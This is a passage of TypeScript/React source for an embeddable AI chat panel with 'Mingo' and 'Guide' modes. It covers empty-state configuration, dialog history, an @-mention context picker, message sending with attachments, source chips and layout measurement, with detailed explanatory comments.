(the platform empty-state stays Guide-only).\n  // `MingoWelcome` still owns its own surface in mingo mode — this just warms\n  // the agent config so greeting/suggested prompts are ready.\n  const { config: emptyStateConfig, loading: emptyStateLoading } = useEmptyStateConfig(emptyStateUrl, {\n    enabled: activeMode === 'guide' || !!activeAgentSlug,\n  });\n  // Resolution: fetched (when `emptyStateUrl` set) → explicit prop → default.\n  // `greeting` is null-unambiguous so `??` chains cleanly; the arrays use\n  // `emptyStateUrl` as the discriminator because `[]` is a legitimate fetched\n  // value (\"admin disabled every source\") that must NOT fall back to the prop.\n  const effectiveGreeting = emptyStateConfig.greeting ?? emptyStateGreeting;\n  const effectiveEnabledRagTableIds = emptyStateUrl ? emptyStateConfig.enabledRagTableIds : enabledRagTableIds;\n  const effectiveSuggestedQueries = emptyStateUrl ? emptyStateConfig.suggestedQueries : suggestedQueries;\n  // Structured quick actions (WITH icons) — the primary empty-state chip source\n  // both endpoints emit. Only meaningful in embed mode (`emptyStateUrl` set); in\n  // host mode chips arrive via the `guideWelcome.quickActions` prop instead.\n  // Memoised because the `: []` branch minted a NEW array on every render,\n  // which made the `emptyStateChips` memo below re-run every time — i.e. do\n  // nothing.\n  const effectiveQuickActions = useMemo(\n    () => (emptyStateUrl ? emptyStateConfig.quickActions : []),\n    [emptyStateUrl, emptyStateConfig.quickActions],\n  );\n  // Chat identity (name + icon) — surfaced on the empty state for BOTH agents\n  // (`/api/ai-agents/:slug` → agent's `openframe_ai_agents` identity) AND\n  // platform-driven chats (`/api/docs/empty-state` → `chat_admin_personas`\n  // identity). Null (admin configured none, or a host that omits it) → the\n  // built-in default (Mingo mark + \"Mingo Guide\"). Host-mode (no\n  // `emptyStateUrl`) still gets identity via the `guideWelcome` prop below.\n  const effectiveAssistantName = emptyStateConfig.name;\n  const effectiveAssistantIcon = emptyStateConfig.icon;\n  // The panel header needs a plain string. Host-mode passes the name via\n  // `guideWelcome.title` (any ReactNode) rather than the fetch, so fall back to\n  // it when it's a string. Null → header keeps the built-in \"Mingo Guide\".\n  const headerAssistantName =\n    effectiveAssistantName ?? (typeof guideWelcome?.title === 'string' ? guideWelcome.title : null);\n\n  const {\n    messages: rawMessages,\n    isLoading: chatLoading,\n    sendMessage,\n    discussRef,\n    stopMessage,\n    clearMessages,\n    currentProvider,\n    currentModelLabel,\n    currentContextWindowMaxTokens,\n    currentInputTokens,\n    currentOutputTokens,\n    currentCacheHitRatePct,\n    currentUsageBreakdown,\n    displayRef,\n    // ─── Dialog management (Mingo-mode inline history) ───\n    dialogs,\n    activeDialogId,\n    selectDialog,\n    renameDialog,\n    archiveDialog,\n    isDialogsLoading,\n    dialogsError,\n    reloadDialogs,\n    isMessagesLoading,\n    hasMoreDialogs,\n    loadMoreDialogs,\n    dialogScope,\n    setDialogScope,\n    hasMoreMessages,\n    loadMoreMessages,\n    dialogCapabilities,\n  } = useUnifiedChat({\n    modes: effectiveModes,\n    activeMode,\n    mingoStateOverride: mingoState,\n    injectedDialogCapabilities: mingoDialogCapabilities,\n  });\n\n  // THE conversation-list gate. `dialogCapabilities` is present iff the ACTIVE\n  // state owns a conversation list, so the panel never asks which transport it\n  // is talking to: `useUnifiedChat` already resolved which state won, and the\n  // adapters already know whether they own a list. Absent = single-thread.\n  const historyListMode = dialogCapabilities !== undefined;\n\n  // Non-optional view of the same object for the JSX below. `canRename` /\n  // `canArchive` default OFF: the ⋯ menu must never advertise an action\n  // nothing has wired.\n  const mingoCaps = useMemo<ChatDialogCapabilities>(\n    () => ({\n      ...dialogCapabilities,\n      canRename: dialogCapabilities?.canRename ?? false,\n      canArchive: dialogCapabilities?.canArchive ?? false,\n    }),\n    [dialogCapabilities],\n  );\n\n  // ── One-shot Guide-mode launcher prompt ────────────────────────────────────\n  // A host launcher (e.g. an \"Ask Mingo about X\" empty-state button) requests\n  // contextual guidance by forcing `activeMode='guide'` and passing the prompt\n  // via `guidePendingPrompt`. Send it once through the active (Guide/SSE)\n  // `sendMessage`, then tell the host to clear it. The boolean ref re-arms when\n  // the prop goes falsy (the host nulls it on consume), so the same text can be\n  // launched again on a later click. Guarded on guide mode so a transient render\n  // before the host's mode flip lands doesn't send into Mingo.\n  const guidePromptSentRef = useRef(false);\n  useEffect(() => {\n    if (!guidePendingPrompt) {\n      guidePromptSentRef.current = false;\n      return;\n    }\n    if (activeMode !== 'guide' || guidePromptSentRef.current) return;\n    guidePromptSentRef.current = true;\n    // Same asymmetry as `handleSend` below: the SSE adapter settles its own\n    // failures into an error row, but the Mingo/NATS one rejects on a failed\n    // publish, and there is no composer promise here for it to surface\n    // through. Consumption stays unconditional — the host clears the prop\n    // either way, and the ref re-arms when it goes falsy, so a failed launch\n    // is retried by the next click rather than resent silently.\n    void sendMessage(guidePendingPrompt).catch((err: unknown) => {\n      console.error('[EmbeddableChat] guide launcher prompt failed:', err);\n    });\n    onGuidePromptConsumed?.();\n  }, [guidePendingPrompt, activeMode, sendMessage, onGuidePromptConsumed]);\n\n  // Chat-attachment hooks (v2 attachment feature).\n  const {\n    attachments: stagedAttachments,\n    readyAttachments,\n    hasInflightUploads,\n    addFiles: addAttachmentFiles,\n    removeAttachment,\n    clear: clearAttachments,\n  } = useChatAttachments();\n  const { panelRef: galleryPanelRef, modal: galleryModal } = useChatAttachmentImageGallery();\n\n  // ─── Entity-context picker state (host-driven via `contextPicker`) ─────────\n  // The lib owns selection + open/mention UI state; the host owns the data\n  // (`contextPicker.search`) and the outgoing payload (it reads\n  // `options.contextItems` on send). Inert unless `contextPicker` is set.\n  const contextMaxItems = contextPicker?.maxItems ?? 10;\n  // The entity-context picker is Mingo-only: the Guide/SSE transport drops\n  // `contextItems`, so exposing the +/@ picker there would silently lose the\n  // user's attachment. Gate the composer's picker to Mingo mode (the staged\n  // selection is also cleared on the mode toggle below).\n  const contextPickerForMode = activeMode === 'mingo' ? contextPicker : undefined;\n  const [contextItems, setContextItems] = useState<ChatContextItem[]>(NO_CONTEXT_ITEMS);\n  const [contextPickerOpen, setContextPickerOpen] = useState(false);\n  const [mentionQuery, setMentionQuery] = useState<string | null>(null);\n  // True while the `@`-mention trigger is active — drives the single-select\n  // commit path below. A ref (not state) so the stable `toggleContextItem`\n  // callback reads the live value without rebuilding per keystroke.\n  const mentionActiveRef = useRef(false);\n  useEffect(() => {\n    mentionActiveRef.current = mentionQuery !== null;\n  }, [mentionQuery]);\n  // Keys (`\"<type>:<id>\"`) of context items that were committed via `@` and so\n  // have a `@type:id` token in the draft text. MULTI-mention: several coexist.\n  // Source of truth = the input text — deleting a token's chip drops its item.\n  const mentionKeysRef = useRef<Set<string>>(new Set());\n\n  // Staged picker selection is per-conversation and Mingo-only. Clear it (and the\n  // mention bookkeeping) whenever the active dialog changes or the mode toggles,\n  // so unsent chips can't bleed into another conversation — or into a Guide send,\n  // where the SSE transport silently drops `contextItems`. Mirrors the post-send\n  // reset in `handleSend`.\n  // The two STATE halves are adjusted while rendering (React's documented\n  // pattern for a reset the render already has the answer to) — the composer\n  // draws its chips from `contextItems`, so clearing from an effect committed\n  // one frame of the previous conversation's chips under the new one. The ref\n  // bookkeeping stays in an effect: a ref must not be written during render.\n  const [contextClearedFor, setContextClearedFor] = useState({ activeDialogId, activeMode });\n  if (contextClearedFor.activeDialogId !== activeDialogId || contextClearedFor.activeMode !== activeMode) {\n    setContextClearedFor({ activeDialogId, activeMode });\n    setContextItems(NO_CONTEXT_ITEMS);\n    setMentionQuery(null);\n  }\n  useEffect(() => {\n    mentionKeysRef.current.clear();\n  }, [activeDialogId, activeMode]);\n\n  // Map each entity type to its backend mention marker (host-declared on the\n  // entity type). Drives the committed `@marker:id` token; missing markers fall\n  // back to a lowercased type inside `mentionTokenOf`.\n  const mentionMarkerByType = useMemo(() => {\n    const m = new Map<string, string>();\n    for (const t of contextPicker?.entityTypes ?? []) if (t.marker) m.set(t.type, t.marker);\n    return m;\n  }, [contextPicker?.entityTypes]);\n\n  // Stable type → icon resolver (entity-type glyph). Used both for the inline\n  // composer chips (`commitMention` meta) and the message-bubble context chips.\n  // Keyed on `entityTypes` only so an inline `contextPicker={{…}}` doesn't\n  // rebuild it every render (its identity flows into the message memo).\n  const contextEntityTypes = contextPicker?.entityTypes;\n  const resolveContextIcon = useMemo(() => {\n    const byType = new Map<string, React.ReactNode>();\n    for (const t of contextEntityTypes ?? []) byType.set(t.type, t.icon);\n    return (item: ChatContextItem) => byType.get(item.type);\n  }, [contextEntityTypes]);\n\n  const toggleContextItem = useCallback(\n    (item: ChatContextItem) => {\n      const key = `${item.type}:${item.id}`;\n      // `@`-mention flow → MULTI-select: commit a `@type:id` chip into the draft\n      // (prior mentions left in place) so each picked entity stays visible inline\n      // AND rides out in the context. The `+` flow (mention inactive) is the same\n      // multi-select on the chip strip.\n      if (mentionActiveRef.current) {\n        // Already attached → no-op (the picker's `@` flow is add-then-close; the\n        // chip already lives in the draft). Honour `maxItems` on growth.\n        if (contextItems.some(p => `${p.type}:${p.id}` === key)) return;\n        if (contextItems.length >= contextMaxItems) return;\n        chatInputRef.current?.commitMention(mentionTokenOf(key, mentionMarkerByType), {\n          label: item.label,\n          icon: resolveContextIcon(item),\n        });\n        setContextItems(prev => [...prev, item]);\n        mentionKeysRef.current.add(key);\n        return;\n      }\n      setContextItems(prev => {\n        const idx = prev.findIndex(p => `${p.type}:${p.id}` === key);\n        if (idx !== -1) return prev.filter((_, i) => i !== idx);\n        if (prev.length >= contextMaxItems) return prev;\n        return [...prev, item];\n      });\n    },\n    [contextMaxItems, contextItems, mentionMarkerByType, resolveContextIcon],\n  );\n\n  const removeContextItem = useCallback(\n    (item: ChatContextItem) => {\n      const key = `${item.type}:${item.id}`;\n      setContextItems(prev => prev.filter(p => `${p.type}:${p.id}` !== key));\n      // Removing a mention-backed chip must also strip its `@type:id` token from\n      // the draft, keeping text and context in lockstep (the inverse of deleting\n      // the chip in the input, which drops the item via `handleContextValueChange`).\n      if (mentionKeysRef.current.has(key)) {\n        mentionKeysRef.current.delete(key);\n        const cur = chatInputRef.current?.getValue() ?? '';\n        const next = cur\n          .replace(`@${mentionTokenOf(key, mentionMarkerByType)}`, '')\n          .replace(/\\s{2,}/g, ' ')\n          .trimStart();\n        chatInputRef.current?.setValue(next);\n      }\n    },\n    [mentionMarkerByType],\n  );\n\n  // Draft → context reconciliation: when the user deletes a `@type:id` chip from\n  // the input, drop the matching mention item. Checks EVERY token-backed key\n  // (multi-mention). `+`-added items have no token in the text and are untouched.\n  const handleContextValueChange = useCallback(\n    (value: string) => {\n      for (const key of Array.from(mentionKeysRef.current)) {\n        if (!value.includes(`@${mentionTokenOf(key, mentionMarkerByType)}`)) {\n          mentionKeysRef.current.delete(key);\n          setContextItems(prev => prev.filter(p => `${p.type}:${p.id}` !== key));\n        }\n      }\n    },\n    [mentionMarkerByType],\n  );\n\n  const openContextPicker = useCallback(() => {\n    setMentionQuery(null);\n    setContextPickerOpen(true);\n  }, []);\n\n  const closeContextPicker = useCallback(() => {\n    // Strip the `@query` scaffolding so it never gets sent as literal text —\n    // but ONLY when an `@`-mention trigger is actually active. When the picker\n    // was opened via the `+` button (no trigger), there's no scaffolding to\n    // clean up, and running the strip could eat an incidental trailing `@word`\n    // the user typed. (Read the ref before clearing the query state.)\n    if (mentionActiveRef.current) {\n      chatInputRef.current?.removeMentionTrigger();\n    }\n    setContextPickerOpen(false);\n    setMentionQuery(null);\n  }, []);\n\n  // `@`-trigger from the input: a non-null query opens (and filters) the\n  // picker; null (token dismissed / space typed) closes it.\n  const handleMentionQueryChange = useCallback((query: string | null) => {\n    setMentionQuery(query);\n    setContextPickerOpen(query !== null);\n  }, []);\n\n  // `renderMention` is HOST-provided (see the prop doc): the per-type renderer\n  // for inline AI mentions `@marker:id` (mirror of `renderEntityCard`). The lib\n  // forwards it verbatim to the message list and calls it from the `mention://`\n  // override; the host returns a self-fetching chip.\n\n  // Resolve base route. Hub default mapping: flamingo → /knowledge-base,\n  // anything else → /data-room. Embedders override per platform. An embedder that\n  // doesn't host an in-app doc viewer should NOT pass an empty baseRoute (that just\n  // falls back to the platform default here) — instead it sets a truthy baseRoute +\n  // `chipBasePlatform` so doc chips with no externalUrl resolve cross-platform to that\n  // platform's public knowledge hub (`getBaseUrl(chipBasePlatform)/knowledge-base/…`),\n  // exactly like the hub's openframe config (baseRoute:'/', chipBasePlatform:'openframe').\n  const resolvedBaseRoute = baseRoute || (source === 'flamingo' ? '/knowledge-base' : '/data-room');\n\n  const handleClose = useCallback(() => setIsOpen(false), [setIsOpen]);\n\n  const handleNavigationClose = useCallback(() => {\n    navigatingAwayRef.current = true;\n    setIsOpen(false);\n  }, [setIsOpen]);\n\n  // Stable panel-level handle for descendants (inline cards via\n  // `ChatCardNavWrap` and markdown-body links via\n  // `NavLinkAnchorViaRuntime`) to close the panel after same-tab\n  // navigation. Uses `handleNavigationClose` (not `handleClose`) so the\n  // iOS scroll-restore cleanup effect at the bottom of this file sees\n  // `navigatingAwayRef.current = true` and skips restoring the chat's\n  // saved scroll position over the freshly-loaded destination page.\n  // Source chips already route through `handleNavigationClose`; inline\n  // cards now match. New-tab clicks never invoke `closeChat`.\n  const chatPanelHandle = useMemo<ChatPanelHandle>(\n    () => ({ closeChat: handleNavigationClose }),\n    [handleNavigationClose],\n  );\n\n  // Host-provided renderer for inline entity cards — routes through the\n  // shared dispatcher in lib's `entity-cards/dispatch.tsx`.\n  const renderEntityCard = useCallback(\n    (reference: ChatRef): React.ReactNode =>\n      renderChatInlineEntityCard(reference, {\n        onDiscuss: discussRef,\n        onDisplay: displayRef,\n        baseRoute: resolvedBaseRoute,\n        chipBasePlatform,\n        extras,\n      }),\n    [discussRef, displayRef, resolvedBaseRoute, chipBasePlatform, extras],\n  );\n\n  // Stable assistant-icon element. `<ChatMessageList>` forwards this prop to\n  // every assistant `<ChatMessageEnhanced>`, whose memo compares it BY\n  // REFERENCE. Created inline in JSX it was a fresh element on every render,\n  // defeating the memo for all assistant messages (re-rendering completed\n  // bubbles — and re-mounting their inline cards — on every realtime chunk).\n  // The Mingo avatar comes from the resolved agent CONFIG icon when one is\n  // available (same server-driven path as every other identity glyph, via\n  // `<EntityIcon>`) — falling back to the built-in `MingoIcon` when no config is\n  // in play (host mode with no `activeAgentSlug`).\n  const mingoAssistantIcon = useMemo(\n    () =>\n      effectiveAssistantIcon ? (\n        <EntityIcon icon={effectiveAssistantIcon} size={24} />\n      ) : (\n        <MingoIcon className=\"h-6 w-6\" cornerColor=\"var(--ods-flamingo-cyan-base)\" />\n      ),\n    [effectiveAssistantIcon],\n  );\n\n  // Stable per-message timestamps. The memoized `<ChatMessageEnhanced>`\n  // compares `timestamp.getTime()`, so we must NOT stamp `new Date()` fresh\n  // on each render: a moving clock makes every message's timestamp differ\n  // between renders, defeating memoization and forcing the WHOLE list (and\n  // every open menu/card inside it) to re-render on every realtime chunk.\n  // Prefer the host's real timestamp; otherwise stamp once per id and reuse\n  // it (keeps the displayed time stable and lets memoization hold even when\n  // the host omits a timestamp).\n  //\n  // Held as an instance-lifetime map from `useState`'s lazy initialiser, not a\n  // ref: a ref read during render is untracked, and `useRef(new Map())`\n  // additionally allocated a throwaway map on every single render. Filling it\n  // inside the memo below is safe even if React discards that render attempt —\n  // the value cached for an id is an arbitrary \"now\" either way, so an entry\n  // left behind by a discarded attempt is exactly as correct as the one the\n  // retry would have written.\n  const [timestampCache] = useState(() => new Map<string, Date>());\n\n  // GUIDE MODE ONLY. Guide-mode user bubbles carry no host-supplied name/avatar\n  // (the SSE adapter emits bare `{ role, content }`), so fall back to the\n  // server-resolved identity (`useChatIdentity`): full name (first + last, or\n  // the legacy `name`) for the bubble label / avatar initials, and `avatarUrl`\n  // for the photo. In guide mode every user bubble IS the current viewer, so\n  // this is correct.\n  //\n  // Mingo mode is EXCLUDED on purpose: its bubbles can belong to DIFFERENT\n  // participants, whose name/avatar come from the host (`mingoState` messages) —\n  // a different identity source. Overlaying the current viewer's identity there\n  // stamped the viewer's photo onto EVERY user's bubble (the reported bug). When\n  // not in guide mode these stay `undefined`, so Mingo bubbles use only their\n  // host-supplied `m.name`/`m.avatar` (or the generic 'You' / no-avatar default).\n  const guideUserName =\n    activeMode === 'guide'\n      ? [identityUser?.firstName, identityUser?.lastName].filter(Boolean).join(' ').trim() ||\n        identityUser?.name?.trim() ||\n        undefined\n      : undefined;\n  const guideUserAvatar = activeMode === 'guide' ? identityUser?.avatarUrl?.trim() || undefined : undefined;\n\n  // Map the host's rows → the lib's Message type. The mapping itself lives in\n  // `mapHostMessage`, which is where its pass-through list is pinned by tests.\n  const messages: Message[] = useMemo(() => {\n    const options = { userName: guideUserName, userAvatar: guideUserAvatar, timestampCache };\n    const mapped = rawMessages.map(m => mapHostMessage(m, options));\n    pruneTimestampCache(timestampCache, new Set(rawMessages.map(m => m.id)));\n    return mapped;\n  }, [rawMessages, guideUserName, guideUserAvatar, timestampCache]);\n\n  const handleSend = useCallback(\n    (text: string) => {\n      // Append chat-attachment markdown lines to the user's bubble.\n      let augmentedText = text;\n      if (readyAttachments.length > 0) {\n        const markdown = readyAttachments\n          .map(att => formatChatAttachmentMarkdownForBubble(att, viewUrlPrefix))\n          .join('');\n        augmentedText = `${text}${markdown}`;\n      }\n      // The unified `sendMessage` delegates to the ACTIVE adapter: the SSE one\n      // settles its own failures into an error row, but the Mingo/NATS one\n      // rejects on a failed publish. There is no composer promise for that\n      // rejection to surface through, so log it here the way the NATS\n      // adapter's `discussRef` does rather than leave it unhandled.\n      void sendMessage(augmentedText, {\n        ...(readyAttachments.length > 0 ? { attachments: readyAttachments } : {}),\n        ...(contextItems.length > 0 ? { contextItems } : {}),\n      }).catch((err: unknown) => {\n        console.error('[EmbeddableChat] handleSend failed:', err);\n      });\n      if (readyAttachments.length > 0) {\n        clearAttachments();\n      }\n      // Clear the staged context once it's been handed to the host's send.\n      if (contextItems.length > 0) {\n        setContextItems([]);\n      }\n    },\n    [sendMessage, readyAttachments, viewUrlPrefix, clearAttachments, contextItems],\n  );\n\n  /**\n   * Picking an option on a clarification card — deliberately NOT `handleSend`.\n   *\n   * `handleSend` belongs to the composer: it appends the staged attachments'\n   * markdown to the text, ships the staged context items, and then clears both.\n   * Routing an ask click through it would (a) send `label + attachment markdown`\n   * where the backend's classifier expects the label VERBATIM to resolve which\n   * reading was picked, and (b) consume a draft's attachments/context into a\n   * one-word answer the user never attached them to. So the label goes out on\n   * its own and whatever is staged in the composer stays staged.\n   */\n  const handleAskSelect = useCallback(\n    (label: string) => {\n      // Card click, so no composer promise carries the rejection — see the\n      // note in `handleSend`; the Mingo/NATS adapter rejects on publish failure.\n      void sendMessage(label).catch((err: unknown) => {\n        console.error('[EmbeddableChat] handleAskSelect send failed:', err);\n      });\n    },\n    [sendMessage],\n  );\n\n  // Admin \"try-asking chips\" → GUIDE-mode quick-action chips only (Mingo mode\n  // deliberately doesn't surface them). Clicking one SENDS the query immediately\n  // via the GuideWelcome `onQuickAction` → `handleSend` at the render site (no\n  // pre-fill) — restoring the original behavior + the admin \"sends\" copy.\n  const guideSuggestedActions = useMemo(() => {\n    // Prefer the structured quick actions (label + prompt + icon) so embed\n    // chips render icons identically to the host SSR path. Only fall back to\n    // the legacy string-only `suggestedQueries` when no structured chips came\n    // back (older backend, or an admin who configured none).\n    if (effectiveQuickActions.length > 0) {\n      return effectiveQuickActions.map(qa => ({\n        id: qa.id,\n        label: qa.label,\n        prompt: qa.prompt,\n        iconName: qa.iconName,\n        iconUrl: qa.iconUrl,\n        iconProps: qa.iconProps,\n        // Chip icon accent: the ADMIN-CONFIGURED identity color on the\n        // agent/persona (`icon_props.color`) wins; the built-in slug map\n        // (fae→pink, mingo→cyan) is only the fallback for unconfigured\n        // built-in agents.\n        accent: accentFromIdentityIcon(effectiveAssistantIcon) ?? getAgentAccent(activeAgentSlug),\n      }));\n    }\n    return (effectiveSuggestedQueries ?? []).map((q, i) => ({\n      id: `suggested-${i}`,\n      label: q,\n      prompt: q,\n    }));\n  }, [effectiveQuickActions, effectiveSuggestedQueries, effectiveAssistantIcon, activeAgentSlug]);\n\n  // Dialog-history concerns (archive page, read-only archived conversation,\n  // rename/archive/unarchive modals) live in one hook so this component stays\n  // a thin orchestrator. Destructured with the names the JSX below uses.\n  const {\n    fetchArchivedDialogs,\n    unarchiveDialog,\n    archiveOpen,\n    archivedDialogs,\n    archivedCursor,\n    archivedLoading,\n    archivedPending,\n    openArchive,\n    closeArchive,\n    loadArchivedPage,\n    handleArchivedSelect,\n    handleSelectDialog,\n    isOpeningDialog,\n    isViewingArchived,\n    handleBack,\n    resetToNewChat,\n    activeDialog,\n    renameTarget,\n    setRenameTarget,\n    archiveTarget,\n    setArchiveTarget,\n    restoreTarget,\n    setRestoreTarget,\n    handleConfirmRename,\n    handleConfirmArchive,\n    handleConfirmRestore,\n  } = useChatDialogManager({\n    dialogs,\n    activeDialogId,\n    selectDialog,\n    clearMessages,\n    renameDialog,\n    archiveDialog,\n    fetchArchivedDialogs: mingoCaps.fetchArchivedDialogs,\n    unarchiveDialog: mingoCaps.unarchiveDialog,\n  });\n\n  const handleOpen = useCallback(() => setIsOpen(true), [setIsOpen]);\n\n  // Close on every pathname change. Lib has no `usePathname()`, so we pass\n  // `null` — embedders that want pathname-driven close can wrap this\n  // component with their own close-on-navigation effect. The hub mounts\n  // `<HubRuntimeProvider>` which already supplies this behavior on the\n  // outer shell, so the chat panel close is a single concern here.\n  useCloseOnNavigation(handleNavigationClose, null);\n\n  // Listen for cross-component \"open chat with this row\" events. Fired by\n  // search bars when the user clicks a result with no public URL.\n  useEffect(() => {\n    const handler = (e: Event) => {\n      const detail = (\n        e as CustomEvent<{\n          source: string;\n          ref: { type: string; id: string; title: string; url: string | null };\n        }>\n      ).detail;\n      if (!detail || detail.source !== source) return;\n      setIsOpen(true);\n      setTimeout(() => discussRef(detail.ref as ChatRef), 0);\n    };\n    window.addEventListener('ask-ai:open-with-ref', handler);\n    return () => window.removeEventListener('ask-ai:open-with-ref', handler);\n  }, [source, discussRef, setIsOpen]);\n\n  // Listen for plain \"open chat\" events (no row context). Fired by the\n  // header MingoAiButton. Same strict source filter as `ask-ai:open-with-ref`\n  // above: events without a matching source are ignored.\n  useEffect(() => {\n    const handler = (e: Event) => {\n      const detail = (e as CustomEvent<{ source?: string }>).detail;\n      if (!detail || detail.source !== source) return;\n      setIsOpen(true);\n    };\n    window.addEventListener('ask-ai:open', handler);\n    return () => window.removeEventListener('ask-ai:open', handler);\n  }, [source, setIsOpen]);\n\n  const hasMessages = messages.length > 0;\n  // First dialog page in flight and nothing cached yet — we don't yet know if\n  // the user is new or returning, so the Mingo empty state shows a skeleton\n  // rather than flashing the new-user greeting+grid before the list lands.\n  const dialogsInitialLoading = isDialogsLoading && dialogs.length === 0;\n  // Dialog list failed to load (e.g. backend down) and we have nothing cached.\n  // Distinct from \"no chats\" so the Mingo empty state can offer a retry instead\n  // of the new-user greeting (which misleadingly advertises Guide).\n  const dialogsLoadError = dialogsError && dialogs.length === 0;\n  // A conversation is \"open\" the instant a chat is selected (`isOpeningDialog` /\n  // `isViewingArchived` are set synchronously on click) — not only once its\n  // history has loaded (`hasMessages`). Driving the surface + content branch\n  // off this makes the normal-chat open animate identically to the archived\n  // one instead of lagging behind the message fetch.\n  // In `previewMode`, the host drives the whole state (`mingoStateOverride`) and\n  // there is no dialog manager to set `isOpeningDialog`. So an embedded preview\n  // that wants a message-list skeleton (real header + composer, skeleton bubbles)\n  // signals it via `isMessagesLoading` — treat that as an open conversation so\n  // the content branch shows the skeleton instead of the new-user welcome.\n  // …and so does a panel loading the messages of a dialog it ALREADY has\n  // selected — a restored conversation on mount, where nothing was clicked so\n  // `isOpeningDialog` is false. Keyed on the dialog id being set rather than on\n  // any transport: `isMessagesLoading` is only ever about the ACTIVE dialog.\n  const isLoadingActiveDialogMessages = activeDialogId != null && isMessagesLoading;\n  const hasConversation =\n    hasMessages ||\n    isOpeningDialog ||\n    isViewingArchived ||\n    isLoadingActiveDialogMessages ||\n    (previewMode && isMessagesLoading);\n  // Opening a dialog whose history hasn't arrived yet — show a message-list\n  // skeleton instead of an empty thread so the open reads as \"loading\" rather\n  // than a blank flash before the bubbles stream in.\n  const messagesInitialLoading = isMessagesLoading && !hasMessages;\n  // Keys the content region so each distinct view (open conversation, Mingo\n  // welcome, Guide onboarding) remounts on switch → fades in for 200ms, the\n  // same feel as the surface flip. Switching dialogs stays \"conversation\" so\n  // streaming messages don't re-trigger the fade.\n  const contentViewKey = hasConversation ? 'conversation' : activeMode;\n  // Guide-mode empty state (no open conversation) — drives the \"Mingo Guide\"\n  // header, the guide banner, and the GuideWelcome content branch.\n  const isGuideEmpty = !hasConversation && activeMode === 'guide';\n  // Quick-action chips exist in BOTH empty states (Guide onboarding + Mingo\n  // welcome). If the chip row goes away (a message is sent, or the mode\n  // switches) while a chip is still hovered, drop the in-flight preview so it\n  // can't leak into the next composer state.\n  const isQuickActionEmpty = !hasConversation && (activeMode === 'guide' || activeMode === 'mingo');\n  // Dropped while rendering, not from an effect: the composer reads\n  // `quickActionPreview` in THIS render, so an effect committed one frame with\n  // the hovered chip's prompt still ghosted into a composer whose chip row had\n  // already gone. Guarded, so the extra render pass takes the early exit.\n  if (!isQuickActionEmpty && quickActionPreview !== null) setQuickActionPreview(null);\n  // The guide-empty back-chevron returns to Mingo — only offer it when Mingo\n  // mode actually exists to return to (guide is normally entered from Mingo).\n  const guideCanReturnToMingo = isGuideEmpty && hasMingoMode;\n  const sourceLabel = source === 'flamingo' ? 'Knowledge Base' : 'Data Room';\n\n  // Empty-state chip grid — derived directly from the fetched slash commands.\n  const enabledSet = useMemo(\n    () => (effectiveEnabledRagTableIds ? new Set<string>(effectiveEnabledRagTableIds) : null),\n    [effectiveEnabledRagTableIds],\n  );\n  const chipCommands = useMemo(() => {\n    const out: SlashCommandSummary[] = [];\n    for (const cmd of commandsById.values()) {\n      if (cmd.displayOrder === undefined) continue;\n      if (enabledSet && cmd.primarySourceId && !enabledSet.has(cmd.primarySourceId)) continue;\n      out.push(cmd);\n    }\n    out.sort((a, b) => {\n      const ao = a.displayOrder ?? Number.POSITIVE_INFINITY;\n      const bo = b.displayOrder ?? Number.POSITIVE_INFINITY;\n      if (ao !== bo) return ao - bo;\n      return a.id.localeCompare(b.id);\n    });\n    return out;\n  }, [commandsById, enabledSet]);\n\n  /**\n   * Source chips, under the answer that cited them.\n   *\n   * Per message, not once per thread. The strip names where THAT answer came\n   * from, and a conversation holds several answers — pinning one strip to the\n   * bottom of the thread attributes the newest answer's sources to whichever\n   * answer the reader is looking at. Both transports produce them now, so this\n   * is no longer a Guide-mode-only affordance either.\n   */\n  const renderMessageSources = useCallback(\n    (message: Message, index: number) => {\n      if (message.role !== 'assistant') return null;\n      // Suppressed only on the answer still being written: the citation markers\n      // the order is derived from arrive WITH the text, so a strip rendered\n      // mid-turn reshuffles under the reader as more sentences land.\n      //\n      // Scoped to the trailing row on purpose. `chatLoading` is a property of\n      // the THREAD, so testing it alone pulls the strips off every earlier\n      // answer too — a reader scrolled up watches finished citations blink out\n      // for the duration of an unrelated turn.\n      if (chatLoading && index === messages.length - 1) return null;\n      const { cited, uncited } = splitCitedSources(message.sources, flattenAssistantContent(message.content));\n      if (cited.length === 0 && uncited.length === 0) return null;\n      return (\n        <div className=\"pb-2\">\n          <SourceChips\n            cited={cited}\n            uncited={uncited}\n            baseRoute={resolvedBaseRoute}\n            chipBasePlatform={chipBasePlatform}\n            onClose={handleNavigationClose}\n            onDiscuss={discussRef}\n          />\n        </div>\n      );\n    },\n    [chatLoading, messages.length, resolvedBaseRoute, chipBasePlatform, handleNavigationClose, discussRef],\n  );\n\n  // Host node for in-panel Radix portals (see the body wrapper below).\n  const [portalHost, setPortalHost] = useState<HTMLDivElement | null>(null);\n  // The panel element itself, published as the COLLISION boundary for overlays\n  // opened inside it. Radix otherwise collides against the viewport, so a ⋯ menu\n  // near the top of the thread flips upward past the panel and renders over the\n  // app header (reported: an entity card's menu landing in the top-right corner,\n  // detached from its card). `portalHost` can't serve here — it is\n  // `display: contents` and has no box to measure.\n  const [panelBoundary, setPanelBoundary] = useState<HTMLDivElement | null>(null);\n\n  // ── Split (wide) Mingo layout ─────────────────────────────────────────────\n  // The panel measures its own width and, in Mingo mode, promotes the inline\n  // dialog history to a fixed 320px \"Current Chats\" rail once there's room for\n  // both it and a 400px chat block. Narrower than that (or collapsed, or Guide\n  // mode / archive page) it stays the stacked single-column layout with the\n  // history inline in the empty state. Fully self-contained — the host opts\n  // into nothing; the switch is width-driven inside this component.\n  //\n  // Measured off the panel NODE (state), not a ref read once on mount. In the\n  // `drawer` shell the panel body does not exist until the drawer opens, so a\n  // mount-time ref read saw `null`, bailed, and — with `[]` deps — never ran\n  // again: `panelWidth` stayed 0, `canSplit` stayed false, and EVERY drawer\n  // host was silently pinned to the stacked single-column list no matter how\n  // wide it was. Only `shell=\"none\"` hosts (the panel is inline and present at\n  // mount) ever reached the split layout.\n  const [panelWidth, setPanelWidth] = useState(0);\n  useEffect(() => {\n    if (!panelBoundary || typeof ResizeObserver === 'undefined') return undefined;\n    const ro = new ResizeObserver(entries => {\n      const w = entries[0]?.contentRect?.width;\n      if (typeof w === 'number') setPanelWidth(w);\n    });\n    ro.observe(panelBoundary);\n    return () => ro.disconnect();\n  }, [panelBoundary]);\n\n  // ONE node for two consumers: the width measurement above and the\n  // collision-boundary context. State, not a ref, so both re-run when the node\n  // appears (the drawer shell mounts its body only on open).\n  //\n  // The width is ALSO seeded here, in the commit-phase ref callback: the\n  // ResizeObserver's first callback is delivered asynchronously, so seeding\n  // only there would leave a split-eligible panel painting one stacked frame at\n  // width 0 before flipping. Seeding 